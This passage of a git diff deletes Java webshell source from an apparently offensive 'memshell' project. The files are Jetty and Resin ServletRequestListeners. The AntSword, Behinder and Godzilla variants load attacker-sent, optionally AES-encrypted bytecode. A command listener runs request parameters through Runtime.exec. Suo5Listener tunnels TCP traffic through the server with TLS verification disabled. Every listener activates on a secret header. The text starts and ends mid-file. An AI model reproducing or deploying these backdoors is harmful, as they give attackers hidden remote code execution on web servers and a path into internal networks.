(HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response"); - } catch (Exception e) { - try { - response = (HttpServletResponse) getFieldValue(request, "response"); - } catch (Exception ee) { - // glassfish7 - response = (HttpServletResponse) getFieldValue(getFieldValue(request, "reqFacHelper"), "response"); - } - } - return response; - } -} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/antsword/AntSwordListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/antsword/AntSwordListener.java deleted file mode 100644 index 158fc603..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/antsword/AntSwordListener.java +++ /dev/null @@ -1,98 +0,0 @@ -package com.reajason.javaweb.memshell.jetty.antsword; - -import javax.servlet.ServletRequestEvent; -import javax.servlet.ServletRequestListener; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import java.lang.reflect.Field; - -/** - * @author ReaJason - * @since 2024/12/21 - */ -public class AntSwordListener extends ClassLoader implements ServletRequestListener { - public static String pass; - public static String headerName; - public static String headerValue; - - public AntSwordListener() { - } - - public AntSwordListener(ClassLoader z) { - super(z); - } - - @SuppressWarnings("all") - public static Object getFieldValue(Object obj, String name) throws Exception { - Field field = null; - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - field = clazz.getDeclaredField(name); - break; - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - if (field == null) { - throw new NoSuchFieldException(name); - } else { - field.setAccessible(true); - return field.get(obj); - } - } - - @SuppressWarnings("all") - public static byte[] base64Decode(String bs) { - byte[] value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); - } catch (Exception ignored) { - } - } - return value; - } - - @SuppressWarnings("deprecation") - public Class g(byte[] cb) { - return super.defineClass(cb, 0, cb.length); - } - - @Override - public void requestDestroyed(ServletRequestEvent servletRequestEvent) { - } - - @Override - @SuppressWarnings("all") - public void requestInitialized(ServletRequestEvent servletRequestEvent) { - HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); - try { - if (request.getHeader(headerName) != null - && request.getHeader(headerName).contains(headerValue)) { - HttpServletResponse response = getResponseFromRequest(request); - byte[] bytes = base64Decode(request.getParameter(pass)); - Object instance = (new AntSwordListener(this.getClass().getClassLoader())).g(bytes).newInstance(); - instance.equals(new Object[]{request, response}); - } - } catch (Exception ignored) { - } - } - - private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { - HttpServletResponse response = null; - try { - response = (HttpServletResponse) getFieldValue(getFieldValue(request, "_channel"), "_response"); - } catch (Exception e) { - response = (HttpServletResponse) getFieldValue(getFieldValue(request, "_connection"), "_response"); - } - return response; - } -} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/behinder/BehinderListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/behinder/BehinderListener.java deleted file mode 100644 index 8d39963a..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/behinder/BehinderListener.java +++ /dev/null @@ -1,121 +0,0 @@ -package com.reajason.javaweb.memshell.jetty.behinder; - -import javax.crypto.Cipher; -import javax.crypto.spec.SecretKeySpec; -import javax.servlet.ServletRequestEvent; -import javax.servlet.ServletRequestListener; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import javax.servlet.http.HttpSession; -import java.lang.reflect.Field; -import java.util.HashMap; -import java.util.Map; - -/** - * @author ReaJason - * @since 2024/12/21 - */ -public class BehinderListener extends ClassLoader implements ServletRequestListener { - public static String pass; - public static String headerName; - public static String headerValue; - - public BehinderListener() { - } - - public BehinderListener(ClassLoader z) { - super(z); - } - - @SuppressWarnings("all") - public static Object getFieldValue(Object obj, String name) throws Exception { - Field field = null; - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - field = clazz.getDeclaredField(name); - break; - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - if (field == null) { - throw new NoSuchFieldException(name); - } else { - field.setAccessible(true); - return field.get(obj); - } - } - - @SuppressWarnings("all") - public static byte[] base64Decode(String bs) { - byte[] value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); - } catch (Exception ignored) { - } - } - return value; - } - - @SuppressWarnings("deprecation") - public Class g(byte[] cb) { - return super.defineClass(cb, 0, cb.length); - } - - @Override - public void requestDestroyed(ServletRequestEvent servletRequestEvent) { - } - - @Override - @SuppressWarnings("all") - public void requestInitialized(ServletRequestEvent servletRequestEvent) { - HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); - try { - if (request.getHeader(headerName) != null - && request.getHeader(headerName).contains(headerValue)) { - HttpServletResponse response = this.getResponseFromRequest(request); - HttpSession session = ((HttpServletRequest) request).getSession(); - Map obj = new HashMap(3); - obj.put("request", request); - obj.put("response", getInternalResponse(response)); - obj.put("session", session); - session.setAttribute("u", this.pass); - Cipher c = Cipher.getInstance("AES"); - c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES")); - byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine())); - Object instance = (new BehinderListener(this.getClass().getClassLoader())).g(bytes).newInstance(); - instance.equals(obj); - } - } catch (Exception ignored) { - } - } - - public HttpServletResponse getInternalResponse(HttpServletResponse response) { - while (true) { - try { - response = (HttpServletResponse) getFieldValue(response, "response"); - } catch (Exception e) { - return response; - } - } - } - - private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { - HttpServletResponse response = null; - try { - response = (HttpServletResponse) getFieldValue(getFieldValue(request, "_channel"), "_response"); - } catch (Exception e) { - response = (HttpServletResponse) getFieldValue(getFieldValue(request, "_connection"), "_response"); - } - return response; - } -} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/command/CommandListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/command/CommandListener.java deleted file mode 100644 index 34a46350..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/command/CommandListener.java +++ /dev/null @@ -1,74 +0,0 @@ -package com.reajason.javaweb.memshell.jetty.command; - -import javax.servlet.ServletOutputStream; -import javax.servlet.ServletRequestEvent; -import javax.servlet.ServletRequestListener; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import java.io.InputStream; -import java.lang.reflect.Field; - -/** - * @author ReaJason - */ -public class CommandListener implements ServletRequestListener { - public static String paramName; - - public CommandListener() { - } - - @SuppressWarnings("all") - public static synchronized Object getFieldValue(Object obj, String name) throws Exception { - Field field = null; - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - field = clazz.getDeclaredField(name); - break; - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - if (field == null) { - throw new NoSuchFieldException(name); - } else { - field.setAccessible(true); - return field.get(obj); - } - } - - @Override - public void requestDestroyed(ServletRequestEvent sre) { - - } - - @Override - public void requestInitialized(ServletRequestEvent servletRequestEvent) { - HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); - try { - String cmd = request.getParameter(paramName); - if (cmd != null) { - HttpServletResponse servletResponse = this.getResponseFromRequest(request); - Process exec = Runtime.getRuntime().exec(cmd); - InputStream inputStream = exec.getInputStream(); - ServletOutputStream outputStream = servletResponse.getOutputStream(); - byte[] buf = new byte[8192]; - int length; - while ((length = inputStream.read(buf)) != -1) { - outputStream.write(buf, 0, length); - } - } - } catch (Exception ignored) { - } - } - - private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { - HttpServletResponse response = null; - try { - response = (HttpServletResponse) getFieldValue(getFieldValue(request, "_channel"), "_response"); - } catch (Exception e) { - response = (HttpServletResponse) getFieldValue(getFieldValue(request, "_connection"), "_response"); - } - return response; - } -} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/godzilla/GodzillaListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/godzilla/GodzillaListener.java deleted file mode 100644 index a9392aa2..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/godzilla/GodzillaListener.java +++ /dev/null @@ -1,148 +0,0 @@ -package com.reajason.javaweb.memshell.jetty.godzilla; - -import javax.crypto.Cipher; -import javax.crypto.spec.SecretKeySpec; -import javax.servlet.ServletRequestEvent; -import javax.servlet.ServletRequestListener; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import javax.servlet.http.HttpSession; -import java.io.ByteArrayOutputStream; -import java.lang.reflect.Field; - -/** - * @author ReaJason - */ -public class GodzillaListener extends ClassLoader implements ServletRequestListener { - public static String key; - public static String pass; - public static String md5; - public static String headerName; - public static String headerValue; - - public GodzillaListener() { - } - - public GodzillaListener(ClassLoader z) { - super(z); - } - - @SuppressWarnings("all") - public static synchronized Object getFieldValue(Object obj, String name) throws Exception { - Field field = null; - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - field = clazz.getDeclaredField(name); - break; - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - if (field == null) { - throw new NoSuchFieldException(name); - } else { - field.setAccessible(true); - return field.get(obj); - } - } - - @SuppressWarnings("all") - public static String base64Encode(byte[] bs) throws Exception { - String value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Encoder"); - Object encoder = base64.newInstance(); - value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); - } catch (Exception ignored) { - } - } - return value; - } - - @SuppressWarnings("all") - public static byte[] base64Decode(String bs) { - byte[] value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); - } catch (Exception ignored) { - } - } - return value; - } - - @SuppressWarnings("deprecation") - public Class Q(byte[] cb) { - return super.defineClass(cb, 0, cb.length); - } - - public byte[] x(byte[] s, boolean m) { - try { - Cipher c = Cipher.getInstance("AES"); - c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); - return c.doFinal(s); - } catch (Exception var4) { - return null; - } - } - - @Override - public void requestDestroyed(ServletRequestEvent servletRequestEvent) { - } - - @Override - @SuppressWarnings("all") - public void requestInitialized(ServletRequestEvent servletRequestEvent) { - HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); - try { - if (request.getHeader(headerName) != null - && request.getHeader(headerName).contains(headerValue)) { - HttpServletResponse response = this.getResponseFromRequest(request); - HttpSession session = request.getSession(); - byte[] data = base64Decode(request.getParameter(pass)); - data = this.x(data, false); - if (session.getAttribute("payload") == null) { - session.setAttribute( - "payload", - (new GodzillaListener(this.getClass().getClassLoader())).Q(data)); - } else { - request.setAttribute("parameters", data); - ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); - Object f = ((Class) session.getAttribute("payload")).newInstance(); - f.equals(arrOut); - f.equals(request); - response.getWriter().write(md5.substring(0, 16)); - f.toString(); - response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); - response.getWriter().write(md5.substring(16)); - response.flushBuffer(); - } - } - } catch (Exception ignored) { - } - } - - private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { - HttpServletResponse response = null; - try { - response = (HttpServletResponse) getFieldValue(getFieldValue(request, "_channel"), "_response"); - } catch (Exception e) { - response = (HttpServletResponse) getFieldValue(getFieldValue(request, "_connection"), "_response"); - } - return response; - } -} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/suo5/Suo5Listener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/suo5/Suo5Listener.java deleted file mode 100644 index 96667bb4..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/suo5/Suo5Listener.java +++ /dev/null @@ -1,603 +0,0 @@ -package com.reajason.javaweb.memshell.jetty.suo5; - -import javax.net.ssl.*; -import javax.servlet.ServletRequestEvent; -import javax.servlet.ServletRequestListener; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import java.io.*; -import java.lang.reflect.Field; -import java.net.*; -import java.nio.ByteBuffer; -import java.security.cert.CertificateException; -import java.security.cert.X509Certificate; -import java.util.Enumeration; -import java.util.HashMap; - -/** - * @author ReaJason - * @since 2024/12/15 - */ -public class Suo5Listener implements ServletRequestListener, Runnable, HostnameVerifier, X509TrustManager { - public static String headerName; - public static String headerValue; - public static HashMap addrs = collectAddr(); - public static HashMap ctx = new HashMap(); - - InputStream gInStream; - OutputStream gOutStream; - - public Suo5Listener() { - } - - public Suo5Listener(InputStream in, OutputStream out) { - this.gInStream = in; - this.gOutStream = out; - } - - public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException { - int bufferOffset = 0; - while (bufferOffset < b.length) { - int readLength = b.length - bufferOffset; - int readResult = is.read(b, bufferOffset, readLength); - if (readResult == -1) break; - bufferOffset += readResult; - } - } - - public void tryFullDuplex(HttpServletRequest request, HttpServletResponse response) throws IOException, InterruptedException { - InputStream in = request.getInputStream(); - byte[] data = new byte[32]; - readFull(in, data); - OutputStream out = response.getOutputStream(); - out.write(data); - out.flush(); - } - - - private HashMap newCreate(byte s) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x04}); - m.put("s", new byte[]{s}); - return m; - } - - private HashMap newData(byte[] data) { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x01}); - m.put("dt", data); - return m; - } - - private HashMap newDel() { - HashMap m = new HashMap(); - m.put("ac", new byte[]{0x02}); - return m; - } - - private HashMap newStatus(byte b) { - HashMap m = new HashMap(); - m.put("s", new byte[]{b}); - return m; - } - - byte[] u32toBytes(int i) { - byte[] result = new byte[4]; - result[0] = (byte) (i >> 24); - result[1] = (byte) (i >> 16); - result[2] = (byte) (i >> 8); - result[3] = (byte) (i /*>> 0*/); - return result; - } - - int bytesToU32(byte[] bytes) { - return ((bytes[0] & 0xFF) << 24) | - ((bytes[1] & 0xFF) << 16) | - ((bytes[2] & 0xFF) << 8) | - ((bytes[3] & 0xFF) << 0); - } - - synchronized void put(String k, Object v) { - ctx.put(k, v); - } - - synchronized Object get(String k) { - return ctx.get(k); - } - - synchronized Object remove(String k) { - return ctx.remove(k); - } - - byte[] copyOfRange(byte[] original, int from, int to) { - int newLength = to - from; - if (newLength < 0) { - throw new IllegalArgumentException(from + " > " + to); - } - byte[] copy = new byte[newLength]; - int copyLength = Math.min(original.length - from, newLength); - // can't use System.arraycopy of Arrays.copyOf, there is no system in some environment - // System.arraycopy(original, from, copy, 0, copyLength); - for (int i = 0; i < copyLength; i++) { - copy[i] = original[from + i]; - } - return copy; - } - - - private byte[] marshal(HashMap m) throws IOException { - ByteArrayOutputStream buf = new ByteArrayOutputStream(); - Object[] keys = m.keySet().toArray(); - for (int i = 0; i < keys.length; i++) { - String key = (String) keys[i]; - byte[] value = (byte[]) m.get(key); - buf.write((byte) key.length()); - buf.write(key.getBytes()); - buf.write(u32toBytes(value.length)); - buf.write(value); - } - - byte[] data = buf.toByteArray(); - ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length); - dbuf.putInt(data.length); - // xor key - byte key = (byte) ((Math.random() * 255) + 1); - dbuf.put(key); - for (int i = 0; i < data.length; i++) { - data[i] = (byte) (data[i] ^ key); - } - dbuf.put(data); - return dbuf.array(); - } - - private HashMap unmarshal(InputStream in) throws Exception { - byte[] header = new byte[4 + 1]; // size and datatype - readFull(in, header); - // read full - ByteBuffer bb = ByteBuffer.wrap(header); - int len = bb.getInt(); - int x = bb.get(); - if (len > 1024 * 1024 * 32) { - throw new IOException("invalid len"); - } - byte[] bs = new byte[len]; - readFull(in, bs); - for (int i = 0; i < bs.length; i++) { - bs[i] = (byte) (bs[i] ^ x); - } - HashMap m = new HashMap(); - byte[] buf; - for (int i = 0; i < bs.length - 1; ) { - short kLen = bs[i]; - i += 1; - if (i + kLen >= bs.length) { - throw new Exception("key len error"); - } - if (kLen < 0) { - throw new Exception("key len error"); - } - buf = copyOfRange(bs, i, i + kLen); - String key = new String(buf); - i += kLen; - - if (i + 4 >= bs.length) { - throw new Exception("value len error"); - } - buf = copyOfRange(bs, i, i + 4); - int vLen = bytesToU32(buf); - i += 4; - if (vLen < 0) { - throw new Exception("value error"); - } - - if (i + vLen > bs.length) { - throw new Exception("value error"); - } - byte[] value = copyOfRange(bs, i, i + vLen); - i += vLen; - - m.put(key, value); - } - return m; - } - - private void processDataBio(HttpServletRequest request, HttpServletResponse resp) throws Exception { - final InputStream reqInputStream = request.getInputStream(); - HashMap dataMap = unmarshal(reqInputStream); - - byte[] action = (byte[]) dataMap.get("ac"); - if (action.length != 1 || action[0] != 0x00) { - resp.setStatus(403); - return; - } - resp.setBufferSize(512); - final OutputStream respOutStream = resp.getOutputStream(); - - // 0x00 create socket - resp.setHeader("X-Accel-Buffering", "no"); - Socket sc; - try { - String host = new String((byte[]) dataMap.get("h")); - int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); - if (port == 0) { - try { - // Cannot convert Integer to int - port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); - } catch (Exception e) { - port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); - } - } - sc = new Socket(); - sc.connect(new InetSocketAddress(host, port), 5000); - } catch (Exception e) { - respOutStream.write(marshal(newStatus((byte) 0x01))); - respOutStream.flush(); - respOutStream.close(); - return; - } - - respOutStream.write(marshal(newStatus((byte) 0x00))); - respOutStream.flush(); - resp.flushBuffer(); - - final OutputStream scOutStream = sc.getOutputStream(); - final InputStream scInStream = sc.getInputStream(); - - Thread t = null; - try { - Suo5Listener p = new Suo5Listener(scInStream, respOutStream); - t = new Thread(p); - t.start(); - readReq(reqInputStream, scOutStream); - } catch (Exception e) { -// System.out.printf("pipe error, %s\n", e); - } finally { - sc.close(); - respOutStream.close(); - if (t != null) { - t.join(); - } - } - } - - private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException { - byte[] readBuf = new byte[1024 * 8]; - while (true) { - int n = inputStream.read(readBuf); - if (n <= 0) { - break; - } - byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n); - if (needMarshal) { - dataTmp = marshal(newData(dataTmp)); - } - outputStream.write(dataTmp); - outputStream.flush(); - } - } - - private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception { - while (true) { - HashMap dataMap; - dataMap = unmarshal(bufInputStream); - - byte[] actions = (byte[]) dataMap.get("ac"); - if (actions.length != 1) { - return; - } - byte action = actions[0]; - if (action == 0x02) { - socketOutStream.close(); - return; - } else if (action == 0x01) { - byte[] data = (byte[]) dataMap.get("dt"); - if (data.length != 0) { - socketOutStream.write(data); - socketOutStream.flush(); - } - } else if (action == 0x03) { - continue; - } else { - return; - } - } - } - - private void processDataUnary(HttpServletRequest request, HttpServletResponse resp) throws - Exception { - InputStream is = request.getInputStream(); - BufferedInputStream reader = new BufferedInputStream(is); - HashMap dataMap; - dataMap = unmarshal(reader); - - - String clientId = new String((byte[]) dataMap.get("id")); - byte[] actions = (byte[]) dataMap.get("ac"); - if (actions.length != 1) { - resp.setStatus(403); - return; - } - /* - ActionCreate byte = 0x00 - ActionData byte = 0x01 - ActionDelete byte = 0x02 - ActionHeartbeat byte = 0x03 - */ - byte action = actions[0]; - byte[] redirectData = (byte[]) dataMap.get("r"); - boolean needRedirect = redirectData != null && redirectData.length > 0; - String redirectUrl = ""; - if (needRedirect) { - dataMap.remove("r"); - redirectUrl = new String(redirectData); - needRedirect = !isLocalAddr(redirectUrl); - } - // load balance, send request with data to request url - // action 0x00 need to pipe, see below - if (needRedirect && action >= 0x01 && action <= 0x03) { - HttpURLConnection conn = redirect(request, dataMap, redirectUrl); - conn.disconnect(); - return; - } - - resp.setBufferSize(512); - OutputStream respOutStream = resp.getOutputStream(); - if (action == 0x02) { - Object o = this.get(clientId); - if (o == null) return; - OutputStream scOutStream = (OutputStream) o; - scOutStream.close(); - return; - } else if (action == 0x01) { - Object o = this.get(clientId); - if (o == null) { - respOutStream.write(marshal(newDel())); - respOutStream.flush(); - respOutStream.close(); - return; - } - OutputStream scOutStream = (OutputStream) o; - byte[] data = (byte[]) dataMap.get("dt"); - if (data.length != 0) { - scOutStream.write(data); - scOutStream.flush(); - } - respOutStream.close(); - return; - } else { - } - - if (action != 0x00) { - return; - } - // 0x00 create new tunnel - resp.setHeader("X-Accel-Buffering", "no"); - String host = new String((byte[]) dataMap.get("h")); - int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); - if (port == 0) { - try { - port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); - } catch (Exception e) { - port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); - } - } - - InputStream readFrom; - Socket sc = null; - HttpURLConnection conn = null; - - if (needRedirect) { - // pipe redirect stream and current response body - conn = redirect(request, dataMap, redirectUrl); - readFrom = conn.getInputStream(); - } else { - // pipe socket stream and current response body - try { - sc = new Socket(); - sc.connect(new InetSocketAddress(host, port), 5000); - readFrom = sc.getInputStream(); - this.put(clientId, sc.getOutputStream()); - respOutStream.write(marshal(newStatus((byte) 0x00))); - respOutStream.flush(); - resp.flushBuffer(); - } catch (Exception e) { -// System.out.printf("connect error %s\n", e); -// e.printStackTrace(); - this.remove(clientId); - respOutStream.write(marshal(newStatus((byte) 0x01))); - respOutStream.flush(); - respOutStream.close(); - return; - } - } - try { - readSocket(readFrom, respOutStream, !needRedirect); - } catch (Exception e) { -// System.out.println("socket error " + e.toString()); -// e.printStackTrace(); - } finally { - if (sc != null) { - sc.close(); - } - if (conn != null) { - conn.disconnect(); - } - respOutStream.close(); - this.remove(clientId); - } - } - - public void run() { - try { - readSocket(gInStream, gOutStream, true); - } catch (Exception e) { -// System.out.printf("read socket error, %s\n", e); -// e.printStackTrace(); - } - } - - static HashMap collectAddr() { - HashMap addrs = new HashMap(); - try { - Enumeration nifs = NetworkInterface.getNetworkInterfaces(); - while (nifs.hasMoreElements()) { - NetworkInterface nif = (NetworkInterface) nifs.nextElement(); - Enumeration addresses = nif.getInetAddresses(); - while (addresses.hasMoreElements()) { - InetAddress addr = (InetAddress) addresses.nextElement(); - String s = addr.getHostAddress(); - if (s != null) { - // fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4 - int ifaceIndex = s.indexOf('%'); - if (ifaceIndex != -1) { - s = s.substring(0, ifaceIndex); - } - addrs.put((Object) s, (Object) Boolean.TRUE); - } - } - } - } catch (Exception e) { -// System.out.printf("read socket error, %s\n", e); -// e.printStackTrace(); - } - return addrs; - } - - boolean isLocalAddr(String url) throws Exception { - String ip = (new URL(url)).getHost(); - return addrs.containsKey(ip); - } - - HttpURLConnection redirect(HttpServletRequest request, HashMap dataMap, String rUrl) throws Exception { - String method = request.getMethod(); - URL u = new URL(rUrl); - HttpURLConnection conn = (HttpURLConnection) u.openConnection(); - conn.setRequestMethod(method); - try { - // conn.setConnectTimeout(3000); - conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)}); - // conn.setReadTimeout(0); - conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)}); - } catch (Exception e) { - // java1.4 - } - conn.setDoOutput(true); - conn.setDoInput(true); - - // ignore ssl verify - // ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java - if (HttpsURLConnection.class.isInstance(conn)) { - ((HttpsURLConnection) conn).setHostnameVerifier(this); - SSLContext sslCtx = SSLContext.getInstance("SSL"); - sslCtx.init(null, new TrustManager[]{this}, null); - ((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory()); - } - - byte[] newBody = marshal(dataMap); - Enumeration headers = request.getHeaderNames(); - while (headers.hasMoreElements()) { - String k = (String) headers.nextElement(); - if (k.equals("Content-Length")) { - conn.setRequestProperty(k, String.valueOf(newBody.length)); - continue; - } else if (k.equals("Host")) { - conn.setRequestProperty(k, u.getHost()); - continue; - } else if (k.equals("Connection")) { - conn.setRequestProperty(k, "close"); - continue; - } else if (k.equals("Content-Encoding") || k.equals("Transfer-Encoding")) { - continue; - } else { - conn.setRequestProperty(k, request.getHeader(k)); - } - } - - OutputStream rout = conn.getOutputStream(); - rout.write(newBody); - rout.flush(); - rout.close(); - conn.getResponseCode(); - return conn; - } - - public boolean verify(String hostname, SSLSession session) { - return true; - } - - public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { - } - - public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { - } - - public X509Certificate[] getAcceptedIssuers() { - return new X509Certificate[0]; - } - - @Override - public void requestDestroyed(ServletRequestEvent sre) { - - } - - @Override - public void requestInitialized(ServletRequestEvent servletRequestEvent) { - HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); - try { - if (request.getHeader(headerName) != null - && request.getHeader(headerName).contains(headerValue)) { - HttpServletResponse response = getResponseFromRequest(request); - String contentType = request.getContentType(); - if (contentType == null) { - return; - } - try { - if (contentType.equals("application/plain")) { - tryFullDuplex(request, response); - return; - } - - if (contentType.equals("application/octet-stream")) { - processDataBio(request, response); - } else { - processDataUnary(request, response); - } - } catch (Throwable e) { -// System.out.printf("process data error %s\n", e); -// e.printStackTrace(); - } - } - } catch (Exception ignored) { - } - } - - @SuppressWarnings("all") - public static Object getFieldValue(Object obj, String name) throws Exception { - Field field = null; - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - field = clazz.getDeclaredField(name); - break; - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - if (field == null) { - throw new NoSuchFieldException(name); - } else { - field.setAccessible(true); - return field.get(obj); - } - } - - private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { - HttpServletResponse response = null; - try { - response = (HttpServletResponse) getFieldValue(getFieldValue(request, "_channel"), "_response"); - } catch (Exception e) { - response = (HttpServletResponse) getFieldValue(getFieldValue(request, "_connection"), "_response"); - } - return response; - } -} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/resin/antsword/AntSwordListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/resin/antsword/AntSwordListener.java deleted file mode 100644 index a15d1021..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/resin/antsword/AntSwordListener.java +++ /dev/null @@ -1,94 +0,0 @@ -package com.reajason.javaweb.memshell.resin.antsword; - -import javax.servlet.ServletRequestEvent; -import javax.servlet.ServletRequestListener; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import java.lang.reflect.Field; - -/** - * @author ReaJason - * @since 2024/12/21 - */ -public class AntSwordListener extends ClassLoader implements ServletRequestListener { - public static String pass; - public static String headerName; - public static String headerValue; - - public AntSwordListener() { - } - - public AntSwordListener(ClassLoader z) { - super(z); - } - - @SuppressWarnings("all") - public static Object getFieldValue(Object obj, String name) throws Exception { - Field field = null; - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - field = clazz.getDeclaredField(name); - break; - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - if (field == null) { - throw new NoSuchFieldException(name); - } else { - field.setAccessible(true); - return field.get(obj); - } - } - - @SuppressWarnings("all") - public static byte[] base64Decode(String bs) { - byte[] value = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); - } catch (Exception var6) { - try { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); - } catch (Exception ignored) { - } - } - return value; - } - - @SuppressWarnings("deprecation") - public Class g(byte[] cb) { - return super.defineClass(cb, 0, cb.length); - } - - @Override - public void requestDestroyed(ServletRequestEvent servletRequestEvent) { - } - - @Override - @SuppressWarnings("all") - public void requestInitialized(ServletRequestEvent servletRequestEvent) { - HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); - try { - if (request.getHeader(headerName) != null - && request.getHeader(headerName).contains(headerValue)) { - HttpServletResponse response = getResponseFromRequest(request); - byte[] bytes = base64Decode(request.getParameter(pass)); - Object instance = (new AntSwordListener(this.getClass().getClassLoader())).g(bytes).newInstance(); - instance.equals(new Object[]{request, response}); - } - } catch (Exception ignored) { - } - } - - private 